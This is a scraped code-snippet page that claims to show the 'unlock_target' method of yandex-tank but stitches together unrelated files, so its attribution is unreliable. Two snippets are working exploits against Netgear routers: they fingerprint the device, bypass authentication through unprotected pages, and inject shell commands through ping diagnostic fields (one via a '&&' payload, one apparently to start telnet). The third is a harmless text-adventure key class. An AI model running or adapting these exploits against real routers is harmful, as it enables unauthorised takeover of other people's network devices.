How to use unlock_target method in yandex-tank

Best Python code snippet using yandex-tank

ping6_inject.py

Source:ping6_inject.py Github

copy

Full Screen

...142 post_data={"submit_flag":"hijack_success",143 "click_flag":"0"}144 145 resp=client.send(url,post_data=post_data,urlencode=True)146def unlock_target(target,port=80,logger=None,https=False):147 if not logger:148 logger=Logging()149 150 protocol="http"151 if https:152 protocol="https"153 154 if is_unlocked(target,port=port,https=https):155 logger.LOG_INFO("Target is already unlocked.")156 return157 else:158 logger.LOG_INFO("Unlocking target.") 159 client=HttpClient()160 url="%s://%s:%d/BRS_02_genieHelp.html" % (protocol,target,port)161 client.send(url)162 if is_unlocked(target,port=port,https=https):163 logger.LOG_INFO("Target unlocked!")164 else:165 logger.LOG_WARN("Target unlock failed!")166 raise Exception("Unlock failed.")167def inject_command(command,target,port=80,logger=None,https=False):168 if not logger:169 logger=Logging()170 171 client=HttpClient()172 protocol="http"173 174 if https:175 protocol="https"176 177 url="%s://%s:%d/ping6_traceroute6_hidden_info.htm" % (protocol,target,port)178 logger.LOG_INFO("Requesting ping6_traceroute6_hidden_info.htm in order to obtain timestamp.")179 resp=client.send(url)180 timestamp=extract_timestamp(resp)181 if timestamp:182 logger.LOG_DEBUG("Got timestamp: %s" % timestamp)183 else:184 logger.LOG_WARN("Couldn't extract timestamp from response.")185 raise Exception()186 187 url="%s://%s:%d/apply.cgi?/ping6_traceroute6_hidden_info.htm" % (protocol,target,port)188 url+="%20timestamp="+timestamp189 logger.LOG_DEBUG("URL: %s" % url)190 post_data={}191 post_data["submit_flag"]="ping6"192 post_data["ping6_text"]=command193 post_data["traceroute6_text"]=""194 client.send(url,post_data=post_data,urlencode=True)195 196 197def main(target,port=80,protocol="http"):198 logger=Logging()199 200 https=False201 if protocol == "https":202 https=True203 204 logger.LOG_INFO(STARS)205 fingerprint_data=fingerprint_netgear_version(target,port=port,https=https)206 if not validate_fingerprint(fingerprint_data,logger=logger):207 logger.LOG_WARN("Failed to fingerprint device.")208 sys.exit(1)209 logger.LOG_INFO("Device fingerprint successful.")210 211 logger.LOG_INFO(STARS)212 unlock_target(target,port=port,logger=logger,https=https)213 if is_unlocked(target,port=port,https=https):214 logger.LOG_INFO("Target unlock successful.")215 else:216 logger.LOG_WARN("Target unlock unsuccessful.")217 sys.exit(1)218 219 logger.LOG_INFO(STARS)220 221 logger.LOG_INFO("Attempting to inject command: %s" % TELNET_COMMAND)222 inject_command(TELNET_COMMAND,target,port=port,logger=logger,https=https)223 224 logger.LOG_INFO(STARS)225 logger.LOG_INFO("Relocking target.")226 relock_target(target,port=port,logger=logger,https=https)...

Full Screen

Full Screen

77032.py

Source:77032.py Github

copy

Full Screen

...17 except urllib2.HTTPError as error:18 if error.code == 401:19 model = error.headers['WWW-Authenticate'].split('"')[1].split(" ")[1]20 return model21def unlock_target(url):22 while is_unlocked(url) == False:23 request = urllib2.Request(url + "/BRS_netgear_success.html")24 try: 25 urllib2.urlopen(request)26 except urllib2.HTTPError as error:27 pass28def is_unlocked(url):29 request = urllib2.Request(url)30 try: 31 urllib2.urlopen(request)32 return True33 except urllib2.HTTPError as error:34 if error.code == 401:35 return False36def get_session_id(url):37 request = urllib2.Request(url + "/diag.htm")38 try: 39 res = urllib2.urlopen(request)40 sid = re.search('[0-9a-f]{8}',res.read())41 return sid.group(0)42 except urllib2.HTTPError as error:43 return None44def inject_command(url, sid, cmd):45 payload = '192.168.1.1&&' + cmd46 payload = urllib.quote_plus(payload)47 request = urllib2.Request(url + "/setup.cgi?id=" + sid, data="todo=ping_test&next_file=diagping.htm&c4_IPAddr=" + payload)48 try: 49 res = urllib2.urlopen(request)50 return res.read()51 except urllib2.HTTPError as error:52 return None53def parse_command_output(page):54 return re.search('(?<=[0-9].[0-9]{3}\/[0-9].[0-9]{3}\/[0-9].[0-9]{3} ms)[^>]*(?=<\/textarea><\/td>)', page).group(0)55if __name__ == "__main__":56 try:57 target=sys.argv[1]58 port=int(sys.argv[2])59 cmd=sys.argv[3]60 except:61 print "USAGE: NETGEAR_JWNR2010v5.py <target_ip> <target_port> <command>"62 sys.exit(1)63 url="http://%s:%d" % (target,port)64 print url65 print "[INFO] Fingerprinting router model..."66 model = fingerprint_router_model(url)67 if model in KNOWN_MODELS:68 print "[INFO] FOUND ROUTER MODEL: " + model69 else:70 print "[ERROR] Router not vulnerable"71 sys.exit(1)72 if is_unlocked(url):73 print "[INFO] Router unlocked"74 print "[INFO] Executing command"75 page = inject_command(url, get_session_id(url) , cmd)76 print parse_command_output(page)77 else:78 print "[INFO] Unlocking router...Executing authentication bypass"79 unlock_target(url)80 print "[INFO] Router unlocked"81 print "[INFO] Executing command"82 page = inject_command(url, get_session_id(url) , cmd)...

Full Screen

Full Screen

metal_key.py

Source:metal_key.py Github

copy

Full Screen

1#!/usr/bin/env python32# -*- coding: utf-8 -*-3###########4# License #5###########6# Lifesigns Engine: A Python-based text adventure game engine.7# Copyright (C) 2020 William Willis Whinn8# This program is free software: you can redistribute it and/or modify9# it under the terms of the GNU General Public License as published by10# the Free Software Foundation, either version 3 of the License, or (at11# your option) any later version.12# This program is distributed in the hope that it will be useful, but13# WITHOUT ANY WARRANTY; without even the implied warranty of14# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU15# General Public License for more details.16# You should have received a copy of the GNU General Public License17# along with this program. If not, see <http://www.gnu.org/licenses/>.18#####################19# Object Properties #20#####################21"""22- MetalKey23 - name (String)24 This is the name of the object.25 - description (String)26 This is a short description of the object.27 - unlock_target (String)28 This determines which door the key can unlock.29 - usable (Boolean)30 This determines whether or not the key has succumbed to damage.31"""32###########33# Objects #34###########35class MetalKey(object):36 """This object represents a small Metal Key used in traditional locks."""37 name = ""38 description = ""39 unlock_target = ""40 usable = False41 def __init__(self, name, description, unlock_target, usable):42 self.name = name43 self.description = description44 self.unlock_target = unlock_target45 self.usable = usable46 def repair(self):47 """Repair the Metal Key if damaged, and allow use."""48 if not self.usable:49 self.usable = True50 print("Your {0} has been repaired".format(self.name))51 else:52 print("Your {0} does not need to be repaired".format(self.name))53 def damage(self):54 """Damage the Metal Key and prevent use."""55 if self.usable:56 self.usable = False57 print("Your {0} has been damaged".format(self.name))58 else:59 print("Your {0} is already damaged".format(self.name))...

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run yandex-tank automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful